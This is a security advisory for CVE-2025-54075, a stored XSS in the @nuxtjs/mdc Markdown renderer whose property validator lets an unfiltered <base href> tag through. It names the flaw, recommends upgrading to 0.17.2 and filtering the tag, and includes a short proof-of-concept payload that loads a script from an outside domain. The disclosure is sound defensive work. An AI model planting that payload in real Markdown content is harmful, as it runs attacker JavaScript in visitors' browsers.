@nuxtjs/mdc
Affected
- introduced
0, fixed0.17.2(semver)
Fixed versions
0.17.2
Fix
- Fixed version
0.17.2npm install @nuxtjs/[email protected]
Advisory
Also known as: CVE-2025-54075
Nuxt MDC has an XSS vulnerability in markdown rendering that bypasses HTML filtering
Summary
A remote script-inclusion / stored XSS vulnerability in @nuxtjs/mdc lets a Markdown author inject a <base href="https://attacker.tld"> element.
The <base> tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site’s context.
Details
src/runtime/parser/utils/props.ts validateProp() inspects on → blocked href or src → filtered by isAnchorLinkAllowed() Every other attribute and every tag (including <base>) is allowed unchanged, so the malicious href on <base> is never validated.export const validateProp = (attribute: string, value: string) => {
if (attribute.startsWith('on')) return false
if (attribute === 'href' || attribute === 'src') {
return isAnchorLinkAllowed(value)
}
return true // ← “href” on <base> not checked
}
As soon as <base href="https://vozec.fr"> is parsed, any later relative path—/script.js, ../img.png, etc.—is fetched from the attacker’s domain.
Proof of Concept
Place the following in any Markdown handled by Nuxt MDC:
<base href="https://vozec.fr">
<script src="/xss.js"></script>
npm run dev). https://vozec.fr/xss.js, and whatever JavaScript it returns runs under the vulnerable site’s origin (unless CSP blocks it).Impact
Recommendations
href on <base> to same-origin URLs and refuse protocols like http:, https:, data:, etc. that do not match the current site origin. FORBID_TAGS: ['base'].High Basis: The source's own band: HIGH
0, fixed 0.17.2 (semver)0.17.2
0.17.2npm install @nuxtjs/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0